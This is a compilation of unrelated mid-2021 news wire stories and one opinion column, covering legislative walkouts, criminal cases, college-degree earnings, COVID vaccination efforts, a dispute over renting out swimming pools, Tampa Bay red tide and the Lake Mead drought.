Our position has been consistent, the Senate Republican Office said in a statement. Quorum rules are the last tool available to promote bipartisan cooperation, whether we agree or disagree with the policy being protested. The statement suggested Democrats silence on the Texas situation had been deafening.

Oregon House Republican Leader Christine Drazan, R-Canby, who led her members on a pilgrimage to Reno during a walkout last year, also drew comparisons between the two states.

This is a political battle between two opposing parties on a local issue, and both sides are using the legislative tools available to them as is their right, Drazan said in a statement.

While Oregons repeated walkouts have garnered interest, Texas Democrats decision to flee the state Capitol in Austin has emerged as a major national news story this week  largely because its tied to efforts by Republican majorities around the country to curb voting access.

In a speech Tuesday, President Joe Biden called the struggle over voting rights a test of our time, coming as it has after a 2020 election marred by then-President Donald Trumps lies about vote rigging and election theft.

Well be asking my Republican friends in Congress and states and cities and counties to stand up, for Gods sake, and help prevent this concerted effort to undermine our election and the sacred right to vote, Biden said Tuesday.

The legislation Texas Democrats are blocking would make mail-in voting more challenging, grant new powers to poll watchers who are affiliated with a specific party, and ban 24-hour voting and drive-thru voting, among other things. Democrats in the state also walked away from the Capitol in May to block similar proposals. Texas already has the countrys most restrictive voting laws, according to one study.

In response to the latest quorum denial, Texas Gov. Greg Abbott, a Republican, has pledged to have lawmakers arrested and brought to the Capitol once they return to the state. Thats a similar tack taken by Gov. Kate Brown in 2019, when she instructed Oregon State Police to attempt to find truant Senate Republicans.

Police ultimately didnt locate a single missing senator, but their involvement caused a scandal when state Sen. Brian Boquist, an Independent who at the time was a registered Republican, seemed to threaten the life of any officer who tried to arrest him.

Oregon and Texas are two of just four states that require two thirds of lawmakers be present to conduct business. In most states, having half a chamber present is sufficient.

Texas has seen walkouts before: In 2003, when Democrats fled the Capitol to block new political maps they said were unfairly gerrymandered.

Oregon saw a walkout over political maps during the same time period, but managed a more bipartisan flair. In 2001, it was Oregon Democrats, then in the minority, fleeing Salem.
MEDFORD, Wis. (AP)  Sheriff's officials are recommending criminal charges against the parents of a toddler who was struck and killed by a train in Taylor County.

According to Taylor County Sheriff Larry Woebbeking, the 2-year-old child was not being supervised when spotted at the Canadian National Railway tracks in the village of Lublin June 29.
WARSAW, Poland (AP)  Polands right-wing coalition government has regained its slim majority in parliament after some defectors returned, the leader of the country's main ruling party said Wednesday.

Law and Justice leader Jaroslaw Kaczynski said the party's coalition with two small partner parties now accounts for 232 seats in the 460-member lower house.
Rebecca Slezak/AP

KANSAS CITY, Mo. (AP)  Two people were killed and three others injured after a house fire Wednesday in northwest Kansas City, Missouri, police said.

The Kansas City Star reports that police spokeswoman Donna Drake confirmed the two deaths and said two of the other victims suffered critical injuries.
CURTIS BAY, Md. (AP)  A Baltimore police officer has been charged with murder in the death of his teenaged stepson, whose body was found in a hole in a bedroom wall last week, Anne Arundel County police announced Wednesday.

The death of 15-year-old Dasan Jones was ruled a homicide by asphyxiation and the teen's stepfather, Eric Banks, has been charged with first- and second-degree murder and child abuse resulting in death, police said. Banks had been in custody since he was charged with trying to disarm a police officer after Jones' body was found.

Officers were called to Banks' home July 6 to investigate a complaint that Jones was being held against his will. At first, Banks told police Jones wasnt there and had left his packed bags at the back door. After Banks gave police permission to search the home, officers found Jones' body in a hole in a bedroom wall.

After Banks was arrested and handcuffed, he tried to disarm an officer. As he fought with police, Banks said "My life is over" and choke me choke me," police said. Banks was held without bail on assault, resisting arrest and other charges.

Banks police powers were already suspended based on a previous incident and he was suspended without pay after he was charged with a felony. Police did not say what the previous incident was.

The alleged actions of Officer Banks are not only deplorable, but shocking to the conscience," Baltimore Police Commissioner Michael Harrison said in a statement released after the charges were announced. "This is a classic example of why I have advocated for the autonomy and authority to terminate officers when they are facing heinous criminal allegations.

The Baltimore Sun reports that Banks and his wife, the teen's mother, had filed for protective orders against each other in the two months before the teen's death. Banks petitioned for a protective order in May, accusing his wife of threatening him and making false complaints about him, then withdrew it two days later. In June, Banks' wife petitioned, saying Banks was stalking her, and was denied.

She obtained a protective order the day her son's body was found.

Banks attorney Warren Brown told the newspaper that Banks tried to kill himself a day before the teens body was found. Banks asserted that he found the teen dead in a bathtub and that he believed the boy had killed himself, Brown said.
THE HAGUE, Netherlands (AP)  Dutch prosecutors demanded life sentences Wednesday for two suspects charged with murder in the fatal shooting of a lawyer who was representing a key witness in a high-profile case against organized crime bosses.

Derk Wiersum was gunned down in September 2019 in a suburb of Amsterdam, a killing condemned as an attack on Dutch society.

In a statement, prosecutors called the attack, an absolutely sickening murder.

The two suspects, identified under Dutch privacy rules as Giermo B. and Moreno B., have both denied involvement.

The trial has garnered even more attention since the shooting just over a week ago of a Dutch crime reporter who was acting as a confidant to the same witness Wiersum was representing.

The reporter, Peter R. de Vries, remains hospitalized. Details of his condition have not been released.

Prosecutors said there were indications that Wiersum was killed because he was representing the witness.

Prosecutors said in a statement that the context of Wiersum's slaying, in which we as a society are unwillingly confronted with a new reality in which more and more murders and attacks are being committed that increasingly seem intended to spread fear and terror, means a crystal-clear message has to be sent" by the court.

Wiersum represented a witness identified only as Nabil B. in a criminal case against suspected gangland bosses accused of involvement in a string of killings. The witness was involved in one of the slayings but cut a deal with prosecutors to provide evidence in return for a lighter sentence.

The alleged gangsters are currently standing trial in that case.

Detectives said they built their case against the suspects using cellphone signals, video images from cameras near the site of the killing and DNA found in the getaway car. Prosecutors said that both men were repeatedly in the neighborhood in the days before Wiersum's shooting.

The investigation uncovered what prosecutors called a professionally prepared and executed murder.
ANNAPOLIS, Md. (AP)  Maryland prosecutors rested their case Wednesday in a trial to determine whether a man who killed five people at a newspaper is not criminally responsible due to mental illness.

They rested after a state psychiatrist who found Jarrod Ramos to be legally sane at the time of the mass shooting testified about why he believes the gunman is criminally responsible. The psychiatrist pointed to Ramos' methodical planning prior to the 2018 attack at the Capital Gazette, as well as the discipline he maintained when he had been on probation years earlier for harassment.

A defense attorney for Ramos, however, questioned the findings of Dr. Sameer Patel during a cross-examination in the second phase of a trial to determine whether Ramos goes to prison or a maximum-security psychiatric hospital.

Patel, a forensic psychiatrist, outlined multiple findings to show how Ramos doesn't meet either of the two parts of state law to be found not criminally responsible.

Under Maryland law, a defendant can be found not criminally responsible if, due to a mental disorder, the person lacks substantial capacity to appreciate the criminality of the conduct or cannot conform conduct to the requirements of the law.

Patel spoke with Ramos for about 20 hours over six different interviews to compile his 120-page report in 2019. He made nine different findings that mostly relate to the gunman's meticulous planning that he believes illustrate Ramos was able to appreciate the criminality of his conduct.

For example, Ramos told him about how he studied police reaction times to other mass shootings and started a stopwatch just before the attack so he could keep time. Ramos also told the doctor of his careful plans to be taken alive by police.

Ramos also called the police on himself from inside the newsroom after the attack and announced his surrender. He then got down on the floor and crawled under a desk with his legs sticking out.

He told me he wanted to look like a victim initially so that they wouldnt shoot him when they arrived, Patel testified.

Katy O'Donnell, one of Ramos' lawyer, questioned Patel about whether he specifically asked Ramos if he thought he was criminally responsible. Patel answered that he did not specifically ask him that, but that when someone plans to be arrested to the degree Ramos did while also planning to spend his remaining life in prison, that indicates an appreciation for the criminality of conduct.

I dont know what else to say," Patel said, adding, It's simple.

Ramos pleaded guilty but not criminally responsible to all 23 counts against him in 2019.

John McNamara, Gerald Fischman, Wendi Winters, Rob Hiaasen and Rebecca Smith died in the attack.

Defense attorneys argue that Ramos suffered from a paranoid delusion in which the Capital Gazette and the courts conspired against his efforts to sue the newspaper after the publication of a 2011 article about him pleading guilty to a misdemeanor harassment charge. His 2012 lawsuit, which alleged that the paper defamed him, was dismissed as groundless. His appeals failed.

Patel noted Ramos' behavior during probation after his court case as evidence that he could conform his conduct to the requirements of the law. In the years before the attack, Patel said Ramos was disciplined and careful not to contact people he wasn't supposed to as part of his probation, until it ended.

The doctor also testified that Ramos had made up his mind to attack the newspaper in 2016, but he waited until 2018 to carry out the shooting, and "that shows an ability to control his behavior.

Closing arguments are set for Thursday.

The defense has the burden of proof by a preponderance of the evidence. That means defense attorneys are trying to show that its more likely than not that Ramos isnt criminally responsible.
JACKSON, Miss. (AP)  Mississippi Gov. Tate Reeves said Wednesday that new laws will lead to a larger law enforcement presence in the capital city of Jackson, and he said he hopes that will alleviate some crime problems.

The Capitol Police Department became part of the Mississippi Department of Public Safety as of July 1. The police department patrols areas in and around state government buildings. It was previously part of the state Department of Finance and Administration.
BERLIN (AP)  Austrian media report that the Alpine country has approved the appointment of Victoria Kennedy as the new U.S. ambassador in Vienna.

Kennedy, a lawyer, is the widow of late U.S. Sen. Ted Kennedy.
ATLANTA (AP)  Two Republicans won seats in the Georgia House in special election runoffs held Tuesday after no candidates won majorities in an earlier round of voting.

Toombs County Republican Party Chairman Leesa Hagan of Lyons beat auto dealer Wally Sapp of Baxley in House District 156, according to final, unofficial results. The district covers all of Montgomery and Toombs counties and parts of Appling and Jefferson Davis counties in southeast Georgia. Democrat Wright Gres of Baxley finished third and was eliminated in the earlier June 15 vote.
Skeptical of the four-year college degree? Its still your best bet to make money.

Backlash against college as a common stop on the road to adulthood has mounted over the past decade. Critics say four-year degree programs saddle most students with five-digit debt without a clear path from classroom to career.

Nearly half (46%) of all families surveyed in November and December 2020 by Gallup for the Carnegie Corporation of New York said they would prefer their children attend alternatives to four-year institutions  even when there were no financial barriers.

But when you compare the value of a four-year degree with other credentials  a high school diploma, certificate programs and associate degrees  it still puts workers at an advantage in the labor market and leads to higher lifetime earnings, on average.

BACHELORS DEGREES ARE TYPICALLY A GOOD INVESTMENT

If a college degree is an investment, its a good one, according to the New York Federal Reserve. The annual return on a typical four-year degree is around 14%, it calculates, well above the threshold of good returns for stocks (around 7%) and bonds (3%).

In dollar terms, graduates with a bachelors degree will earn on average about $78,000 annually, compared with a high school diploma earner who receives around $45,000 annually, according to 2019 data from the New York Federal Reserve.

However, on average doesnt mean that the return on your education, or college earnings premium, will always be a gain. Where you attend school, how much debt you take on, what you study and where you live after school all help determine your return. Many of those factors are influenced by your race, ethnicity and gender.

YOUR ABILITY TO REPAY DEBT AFFECTS YOUR DEGREES VALUE

Student loan debt is difficult to avoid and even more challenging to repay. College costs rose 117% from 1985-86 to 2018-19, according to federal data. Wages, meanwhile, didnt keep pace, growing only 19% during the same period, according to the Federal Reserve Bank of St. Louis.

However, loans are still the primary vehicle for families without wealth to obtain college degrees. In order to make your degree worth it, you have to earn enough to justify it. That means carrying debt that wont put you underwater  a manageable student loan payment is around 10% of your discretionary after-tax income.

To get the best return and be able to repay debt, graduation is crucial  many borrowers who default will have debt but no degree.

Thats the worst-case scenario  youre incurring some of those costs but with very, very little benefit, says Jonathan Rothwell, principal economist at Gallup.

DEMAND FOR YOUR MAJOR MATTERS

What you study in school will affect the type of job you can get, your earnings and your ability to repay debt.

Average earnings at mid-career are highest among those who hold a bachelors degree in fields like science, technology, engineering and math, or STEM ($76,000), business ($67,000) and health ($65,000), according to a 2015 data report from Georgetown Universitys Center for Education and the Workforce.

The same report found the lowest median mid-career earnings among those whose bachelors degrees were in field s like arts, humanities and liberal arts ($51,000), as well as teaching and serving roles such as social work ($46,000).

To estimate earnings, graduation rates, typical student debt loads and other factors at individual schools, use the Education Departments College Scorecard tool. You can search and compare earnings as well as debt by fields of study.

WHERE YOU LIVE AFTER GRADUATION ALSO MATTERS

Where you live after attaining your degree also affects its value, according to the results of a May 2020 study for the Thomas B. Fordham Institute , a conservative nonprofit think tank.

In general, college degrees are a good investment, but the return in terms of cosmopolitan areas is phenomenal, says John Winters, associate professor of economics at Iowa State University, who conducted the study.

In cities, bachelors degree holders earn $95,229 on average, an 86.2% premium compared to a worker with a high school diploma and a 55.7% premium compared to an associate degree holder.

Winters says thats primarily because cities have a higher concentration of jobs in fields that often demand workers have four-year degrees, such as tech, finance and marketing. Workers in these fields earn higher wages, which leads to a greater return on investment for degrees.

However, Winters findings also mean its less critical to have a four-year degree if you want to live in a smaller metro or rural area. Bachelors degree holders in nonurban areas have mean earnings of $67,893, which puts their wages at a 46.4% premium compared to high school diploma holders and a 29.6% premium compared to associate degree holders.

DEGREE ATTAINMENT DOESNT GUARANTEE EQUITY

In some ways a college degree can exacerbate income and racial inequalities, such as student debt and ability to repay that debt, says Marshall Anthony Jr., a senior policy analyst at Center for American Progress, a public policy research organization.

A college degree doesnt usually work the same for everybody, Anthony says

Black borrowers tend to take on greater amounts of debt  about $25,000 more, on average, than white borrowers, according to federal data.

In 2016, among those with a bachelors or higher degree, Asian full-time, year-round workers ages 25-34 had higher median annual earnings ($69,100) than their white peers ($54,700), and median earnings for both racial/ethnic groups were higher than those of their Black ($49,400) and Hispanic ($49,300) peers, according to the most recent available data by the National Center for Education Statistics.

Higher debt and lower wages also means Black borrowers will accrue more interest over time: Four years after graduating from college, Black graduates have $52,726 in student loan debt compared to White graduates at $28,006, according to a 2016 Brookings Institution study.

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This article was provided to The Associated Press by the personal finance website NerdWallet. Anna Helhoski is a writer at NerdWallet. Email: anna@nerdwallet.com. Twitter: @AnnaHelhoski.

RELATED LINKS:

NerdWallet: Are Student Loans Worth It? A College Affordability Calculator

Georgetown University Center for Education and the Workforce: The Economic Value of College Majors

U.S. Department of Education: College Scorecard
O'FALLON, Mo. (AP)  Political leaders in St. Louis and St. Louis County have stepped up their efforts to get people vaccinated amid growing concern that the delta variant of COVID-19 ravaging some rural areas of Missouri is making its way to the state's most populated region.

St. Louis County Executive Sam Page on Wednesday announced the Sleeves Up STL initiative, which seeks to enlist beauty salons and barbershops in the northern part of the county to provide vaccine information to customers and encourage them to get inoculated.

Meanwhile, St. Louis' Board of Aldermen on Tuesday endorsed a plan to offer gift cards as an enticement to get vaccinated.

The fast spread of the delta variant has led to a spike in new cases and hospitalizations in parts of northern and southwestern Missouri. Page said St. Louis County officials have grave concerns about the impact it could have here.

He said salons and barbershops are popular gathering places and that he's hopeful the outreach in northern St. Louis County, where many Black residents live, will lead to more vaccinations. Data from the Centers for Disease Control and Prevention show that Black residents are far less likely to get vaccinated than white residents.

In the city of St. Louis, where nearly half of the approximate 300,000 residents are Black, only 40.5% of residents have received at least one vaccine dose. Statewide, 45.5% of residents have received at least an initial shot, which significantly trails the national rate of 55.6%.

St. Louis aldermen backed a plan that would offer prepaid debit cards worth up to $100 to people who get shots. The funding will come from nearly $500 million in federal funding the city will get for pandemic relief.

The plan also would provide one-time $500 payments to 10,000 residents who have been affected by the pandemic. The funding proposal now goes to the Board of Estimate and Apportionment, which is the city's fiscal body.

Democratic Mayor Tishaura Jones has not said if she will support the aldermanic version of the funding measure.

New cases have been surging in southwestern Missouri. The Springfield-Greene County Health Department on Wednesday asked the state to help fund a COVID-19 alternative care site at a yet-to-be determined site. It said 231 patients were being treated for the virus in hospitals in Greene County, including 104 who were receiving critical care and 61 who were on ventilators. The alternative care site would provide staffing for transitional care for COVID-19 patients.

State health department data shows that 1,284 people were hospitalized with COVID-19 as of Monday. That's still well below the nearly 3,000 who were hospitalized during the state's peak period in December, but it's double the number from mid-May. The 390 people in intensive care units is three times more than in early April.

The state on Wednesday reported 1,460 newly confirmed cases of of COVID-19 and 15 more deaths from the disease, pushing its pandemic totals to 537,887 confirmed cases and 9,455 deaths.
SANTA FE, N.M. (AP)  Surgeon General Vivek Murthy met with New Mexico officials and spoke at an awards ceremony honoring health care workers.

Murthy thanked nurses, doctors, and a laboratory manager for their work fighting the pandemic, but warned that the task of caring for the sick and inoculating the hesitant is not over.

We are so incredibly grateful," Murthy told health care workers. But we need your help in the weeks and months ahead.

Gov. Michelle Lujan Grisham thanked eight health care workers at the event, issuing them individual gubernatorial proclamations on the second floor of the New Mexico History Museum.

State health officials reported an additional death Tuesday, and 116 additional COVID-19 cases.

Almost 65% of the state's adults are fully vaccinated, higher than the national average of around 48%. But come counties have vaccination rates as low as 30%. And only around 45% of eligible people ages 12-17 have gotten their shots.

We still have in New Mexico, and more so in many other parts of our country, pockets where our brothers and sisters are not vaccinated, Murthy said.

___

Attanasio is a corps member for the Associated Press/ Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on under-covered issues. Follow Attanasio on Twitter.
MADISON, Wis. (AP)  The operators of a startup that allows private homeowners to rent their swimming pools by the hour said Wednesday that Wisconsin regulators are all wet and want them to back off demands that they say would kill their business.

Wisconsin is the first state to push back against Swimply, which started in 2018 with just four pools in New Jersey but has taken off during the pandemic as more people looked for private spaces to swim and have fun. The business works like an Airbnb for swimming pools. Private homeowners list their pools on the website and app as available for rent.

Most of the pools on Swimply are in warm weather locations, but it recently dove into the Wisconsin market. It currently has only about a dozen pools available to rent statewide, starting at around $35 an hour, but it's looking to expand.

Wisconsin regulators told Swimply in April that pools offered for rent would have to be treated the same as large, public swimming pools. That means a pool's owner would have to obtain a license and meet construction requirements that are more onerous.

The Wisconsin Institute for Law and Liberty, which is representing Swimply, said it will file a lawsuit if the state doesn't back off. Wisconsin is the only state that has challenged Swimply or that the business has threatened to sue, said institute spokeswoman Erin Collins.

We hope Wisconsin regulators agree that existing regulations for large public pools dont apply to our business model, nor are they necessary, Swimply co-founder Asher Weinberger said in a statement.

On April 5, an official with the Wisconsin Department of Agriculture, Trade and Consumer Protection contacted Swimply through its website to let them know that a pool at a residence can't be open to the public unless it is licensed to meet commercial code. The official cited state law that says a pool becomes public, and subject to licensing, if it is used on a regular basis by people other than the residents where it's located.

The reason for this is that when the public uses a pool, they are being subject to hazards that must be controlled, wrote Mary Ellen Bruesch, a public pools specialist with the department's Division of Food and Recreational Safety. She said the hazards include chemicals, such as acid and chlorine; microbiological; and physical, such as dangers that could lead to drowning.

"Licensing will ensure that a plan review of the construction has been done, and that operational requirements are reviewed, she told Swimply.

Swimply in its letter said the state is interpreting the law incorrectly, inconsistently applying it and exceeding its regulatory authority.

Under the department's interpretation, anyone with a swimming pool couldn't rent it out on short-term home rental services such as Airbnb, Swimply's attorneys wrote. Also, children and families could not invite others over to swim, the attorneys said.

Small groups of family and friends can swim in a private residential pool, just like the owners of the pool can, Swimply's attorneys Luke Berg and Lucas Vebber told the state.

Leeann Duwe, a spokeswoman for DATCP, said the agency was reviewing the letter for a response.
For about as long as certain Republicans and conservative figures have questioned the safety and efficacy of the coronavirus vaccines, those same people have offered a disclaimer: They're not "anti-vaxxers," they're just asking questions. And asking questions is valid. But those questions often devolved well into conspiracy theorizing and claiming the vaccine effort was something that it wasn't, using dodgy data and innuendo that had the predictable result of making about half of Republicans say they aren't getting the shot. And they did so with very little pushback from pro-vaccine Republicans.

On Tuesday came perhaps the biggest example of where this often careless vaccine skepticism can lead. Tennessee's department of health is reportedly going to stop not just encouraging minors to get the coronavirus vaccine, but also informing them about that vaccine - or any other vaccines.

The Nashville Tennessean has the scoop:

"The Tennessee Department of Health will halt all adolescent vaccine outreach - not just for coronavirus, but all diseases - amid pressure from Republican state lawmakers, according to an internal report and agency emails obtained by the Tennessean. If the health department must issue any information about vaccines, staff are instructed to strip the agency logo off the documents.

"The health department will also stop all COVID-19 vaccine events on school property, despite holding at least one such event this month. The decisions to end vaccine outreach and school events come directly from Health Commissioner Dr. Lisa Piercey, the internal report states.

"Additionally, the health department will take steps to ensure it no longer sends postcards or other notices reminding teenagers to get their second dose of the coronavirus vaccines. Postcards will still be sent to adults, but teens will be excluded from the mailing list so the postcards are not 'potentially interpreted as solicitation to minors,' the report states."

To reiterate, this would go far beyond merely preventing the government from encouraging minors to get a vaccine, which the Centers for Disease Control and Prevention has said is worthwhile for teens and young adults. It wouldn't even allow for reminding minors who have gotten the first shot - for whom this vaccination decision has seemingly been made by them and/or their parents - to get a second shot. It also comes a day after we learned that the state's top vaccination official was fired amid pressure from Republican lawmakers.

"It was my job to provide evidence-based education and vaccine access so that Tennesseans could protect themselves against COVID-19," Michelle Fiscus said in a statement. "I have now been terminated for doing exactly that."

The move also very notably includes communications about other vaccines - which suggests that the vaccine skepticism that undergirds it appears to be spreading more generally to vaccines as a whole:

"[Chief Medical Officer Tim] Jones told staff they should conduct 'no proactive outreach regarding routine vaccines' and 'no outreach whatsoever regarding the HPV vaccine.' Staff were also told not to do any 'pre-planning' for flu shots events at schools. Any information released about back-to-school vaccinations should come from the Tennessee Department of Education, not the Tennessee Department of Health, Jones wrote."

The state department of health had previously done outreach on vaccines including HPV, measles and Meningitis.

There are perhaps valid questions about whether such communications should target minors. The lumping in of both second-shot communications and communications about other, more lengthily studied vaccines, though, points to something bigger than just asking questions about and not wanting to push too hard on this particular vaccine.

"No back-to-school messaging to the more than 30,000 parents who did not get their children measles vaccines last year due to the pandemic," Fiscus said. "No messaging around human papilloma virus vaccine to the residents of the state with one of the highest HPV cancer rates in the country. No observation of National Immunization Awareness Month in August. No reminders to the parents of teens who are late in receiving their second COVID-19 vaccine. THIS is a failure of public health to protect the people of Tennessee and THAT is what is 'reprehensible.' "

This has been lurking beneath the surface for a long time. Former President Donald Trump before he became president repeatedly cited debunked links between vaccines and autism. GOP officials like Oklahoma Gov. Kevin Stitt (R) have also cast doubt on vaccines for children, with Stitt saying he didn't get vaccinations for some of his children.

Until about a year ago, this was a much more bipartisan issue, with reservations about vaccination spanning from well-to-do West Coast liberals to more anti-government conservatives. What has transpired since then has been the anti-vaccine movement blowing up more on the right than the left, despite Trump having claimed credit for the production of the vaccine during his administration.

The news in Tennessee suggests this is indeed seeping well into actual government action. And given the fervor on some portions of the right, you can bet some red states will soon emulate it now that Tennessee has broken the seal.

Shortly before the Tennessean's report Tuesday, Senate Minority Leader Mitch McConnell (R), who is a polio survivor who has repeatedly encouraged the coronavirus vaccine, was asked about Republicans who have cast doubt on the vaccines.

"I can only speak for myself," he said, "and I just did a few minutes ago."

The developments in his state's neighbor to the south would seem to suggest GOP advocates who truly want to get people vaccinated might want to adopt a more forceful posture about the misinformation plaguing significant portions of their party. State GOP officials have repeatedly invited extreme vaccine skeptics to testify to promote claims that include that the coronavirus vaccine magnetizes its recipients, among other wild theories. They've turned a blind eye to their colleagues and influential cable new hosts like Fox News's Tucker Carlson who carelessly promotes skepticism about the vaccines in the name of questioning the federal government.

The point isn't that vaccines can't be questioned; it's that the questioning of them has often devolved into specious claims and very different places than lawmakers like McConnell and most big-name Republicans profess to be. But calling that out apparently doesn't work in a party so defined by and worried about alienating its extreme wing.

The question from here is how much Tennessee is a precursor to the dam breaking on this kind of thing in other states, and whether the coronavirus vaccine skeptic movement will indeed spread to other vaccines.
ST. PETERSBURG, Fla. (AP)  A unusually large bloom of toxic red tide is being blamed for a massive fish kill in Florida's environmentally sensitive Tampa Bay.

Officials say more than 600 tons (540 metric tonnes) of dead fish and other marine life have been scooped up in recent weeks along the St. Petersburg shoreline. There's no immediate sign of relief and some experts say the problem could linger for months.

The bay is not very happy right now, to say the least, said Robert Weisberg, physical oceanography professor at the University of South Florida.

The prognosis is not all that good, Weisberg told the Tampa Bay Times.

St. Petersburg Mayor Rick Kriseman said at a news conference Wednesday that state assistance is needed to tackle the red tide bloom. So far, no emergency declaration has been forthcoming from Gov. Ron DeSantis.

Right now, its all about clean up, Kriseman said. Its pretty awful. The odor sticks to you. Plus, theres the emotional toll of seeing dead animals wash up day after day.

Red tide is a naturally occurring phenomenon that has been observed in the Gulf of Mexico since the days of the Spanish explorers but can be exacerbated by nutrients such as nitrogen. The presence of the toxin-producing microorganisms of this magnitude in Tampa Bay is unusual, with some samples showing concentrations 10 to 17 times above what is considered a high level.

One potential cause is the April leak of tens of millions of gallons of contaminated water from the old Piney Point fertilizer plant along the bay in nearby Manatee County. Scientists have not yet pinpointed the reason for massive red tide bloom but said the leak is a chief suspect.

We have no reason not to link those two things together, said Maya Burke, Tampa Bay Estuary Program assistant director.
GILLETTE, Wyo. (AP)  A magician and comic has canceled performances at libraries in northeastern Wyoming because of online and phoned in threats over a social media post about her being a transgender woman, she said.

The Campbell County Library posted on its Facebook page that Mikayla Oz, 24, was cancelling shows planned for Wednesday and Thursday in Gillette and Wright out of safety concerns for herself, library staff and patrons, the Gillette News Record reported.
ANN ARBOR, Mich. (AP)  A judge has ordered the University of Michigan to fill a public records request and release pay information for employees in an office dedicated to diversity and equal opportunity.

Exposure of the universitys salary, bonus and overtime pay decisions allows the taxpayers to learn how the peoples money was spent, fulfilling the policy objectives of Michigan's Freedom of Information Act, Judge Elizabeth Gleicher said Monday.
LEXINGTON, Ky. (AP)  A University of Kentucky graduate has been honored for his $22 million gift in support of medical education at the state's flagship university.

Dr. Michael D. Rankin's gift is the second-largest single gift in the university's history. It will support scholarships in UK's College of Medicine and construction of a new health education building.
LAKE MEAD, Nev.  Eric Richins looked out from his pontoon boat to the shallows on the lakes western edge. He squinted and paused as if he had come upon a foreign shore. For the first time in a career navigating the waters of the American West, he didnt know where he was.

I could have sworn I was here just six weeks ago catching smallmouth and bigmouth bass, said the 35-year-old fisherman who runs tours on this 247-square-mile basin where the Colorado River meets the Hoover Dam to form the nations largest reservoir.

He pointed ahead to what looked like dozens of tiny steps made from successive layers of dried mud now covered in tall grass and weeds  the effect of rapidly creeping vegetation over a shoreline that has been dropping by nearly a foot a week.

Now it looks like a lawn. I knew the drought was bad. I didnt realize it was this bad, he said. This place is unrecognizable.

Allen J. Schaben/TNS

Lake Mead, a lifeline for 25 million people and millions of acres of farmland in California, Arizona, Nevada and Mexico, made history when it was engineered 85 years ago, capturing trillions of gallons of river water and ushering in the growth of the modern West.

But after years of an unrelenting drought that has quickly accelerated amid record temperatures and lower snowpack melt, the lake is set to mark another, more dire turning point. Next month, the federal government expects to declare its first-ever shortage on the lake, triggering cuts to water delivered to Arizona, Nevada and Mexico on Jan. 1. If the lake, currently at 1,068 feet, drops 28 more feet by next year, the spigot of water to California will start to tighten in 2023.

The crisis, said Eric Kuhn, former general manager of the Colorado River Conservation District, can no longer be ignored. According to Merriam-Webster, a drought is a temporary condition, he said. What is happening, he suggested, is something more permanent and troubling. This is aridification.

As fires sweep over large swaths of the West and scorching temperatures fry others, the scarcity of water is a less visible but perhaps the most pressing consequence of climate change confronting the states that depend on Lake Mead.

Allen J. Schaben/TNS

First to be hit are locals along the Nevada-Arizona border near Las Vegas, who rely on the lake for tourism, fishing and recreation. Ramps are closed. Jammed boats are towed from newly shallow waters. Fishermen scour to figure out where to catch striped bass. The iconic lakes predicament is marked by a bathtub ring of calcium deposits that highlight the rocky edge where water once flowed.

For Richins, who lives in Kingman, Arizona, and launched his company, Big Water Boating, two years ago to offer daylong fishing tours, the drought has meant thinking of changing his offerings entirely.

The places where I was catching fish last spring and summer just dont have fish anymore, said Richins, a former wildlife biology professor at Salish Kootenai College in Montana, who used to regularly tow his 20-foot boat with his pickup truck for the hourlong drive to Lake Mead. As the water drops, the habitat for fish changes because some of their homes are just no longer available.

On a recent morning, Richins pulled up at dawn to Temple Bar Marina  about 80 miles from Las Vegas and a popular point for boaters from Arizona to float onto the water. A sign read, Danger: Launch at your own risk. Low water levels. He stood 100 feet from the lakes edge, looking below him at a ramp made of concrete planks that transitioned into pipe mats leading into the basin. But the water was not where it once was.

I was fishing right here last spring, Richins said, staring in disbelief at the moss, mud and dead cattails that remained where he used to launch his boat. He waded into the water, feeling the mud with his feet and measuring the drop-off from the ramp.

Allen J. Schaben/TNS

The mud was too soft. The water too shallow. The drop too big. The boat had no chance.

It was as if nature were playing tricks on him. Richins drove an hour west to Hemenway Harbor, a launch point in Nevada that has become the site of hours-long traffic jams as one of the few ramps to remain open most days. When he arrived, a maintenance worker told him that it shut down that morning. The lake had receded again. The ramp needed repairs.

He drove 40 minutes more up and around the lake back east to the ramp at Callville Bay. He got the boat in the water four hours after his first attempt.

Its more gas. Its more time. Its more money to get up here, said Richins. People ask a lot about tours on Lake Mead because its so famous. But I might have to go elsewhere for now, like Lake Mohave, a 67-mile-long reservoir formed downriver by Davis Dam on the Nevada-Arizona border thats closer to Kingman.

Elsewhere around Lake Mead, some business owners and recreational boaters have already adjusted to the new normal.

At Laker Plaza, a boat storage and supplies stop in Henderson, Nevada, near the entrance to Lake Mead National Recreation Area, the Las Vegas Water Rentals and Bait and Tackle shop has taken to advertising to shoreline fishers and tourists who dont need big boats. The store, a one-stop-shop for tackle, lures, dry ice and snacks, is bracing for fewer boating customers after low water levels forced the Nevada Bass Anglers club to cancel its monthly July tournament.

Were hoping theres a silver lining with people who dont get out on motorized boats and maybe kayak instead because you can launch a kayak anywhere, said the stores co-owner, Tommy Middleton.

We feel the economic impact everywhere. Fewer boaters pulling up to fill their gas. People who have their boats stored at marinas might not want to pay fees if they cant use their boats. The chain effect goes on.

Middleton said his problems were small compared with the bigger issues at hand.

Its fun to go paddleboarding and kayaking, sure, said Middleton, 42. But anything that feeds off the Colorado River is down. Thats bad news because the waterway is here to support us and sustain us.

Lake Mead and the Colorado River are created from melted snow that flows into La Poudre Pass in the Rocky Mountains. Seven Western states  California, Wyoming, Colorado, New Mexico, Utah, Nevada and Arizona  as well as 29 tribes and Mexico depend on the water from the river. Each has signed successive treaties stating how much they receive from the river and dams, with the current agreements expiring in 2025.

Concerns over Lake Meads water levels came as negotiators met in Denver last month to take a preliminary step toward a four-year process to update operating rules and allocations for the reservoirs along the river.

According to the U.S. Bureau of Reclamation, which manages the river system, drought in Lake Mead is far from an emergency. Yet, the water level is nowhere near what it was a year ago. Having dropped 1.4 million acre-feet from April 2020 to April 2021 and 886,000 acre-feet since then, Lake Meads losses show no sign of slowing down.

We are concerned, but it isnt a crisis, said bureau spokeswoman Patti Aaron. People have been planning for this moment for a long time and have the mechanisms in place to protect the water levels at Lake Mead.

But to many experts, its a make-or-break moment in the history of a river that has been for decades over-allocated, with less water available than is needed. Whats at stake for Lake Mead is a recreation area that draws more than 8 million visitors a year and generates $336 million annually.

Allen J. Schaben/TNS

While computer modeling helps water managers anticipate future shortages that could affect water supply and tourism, there is a gap in the understanding, said Kuhn, the former head of the Colorado River Conservation District. Predicting increased temperatures is easy  over the last century the West has heated up by nearly 2 degrees  but understanding how high temperature affects precipitation is less certain.

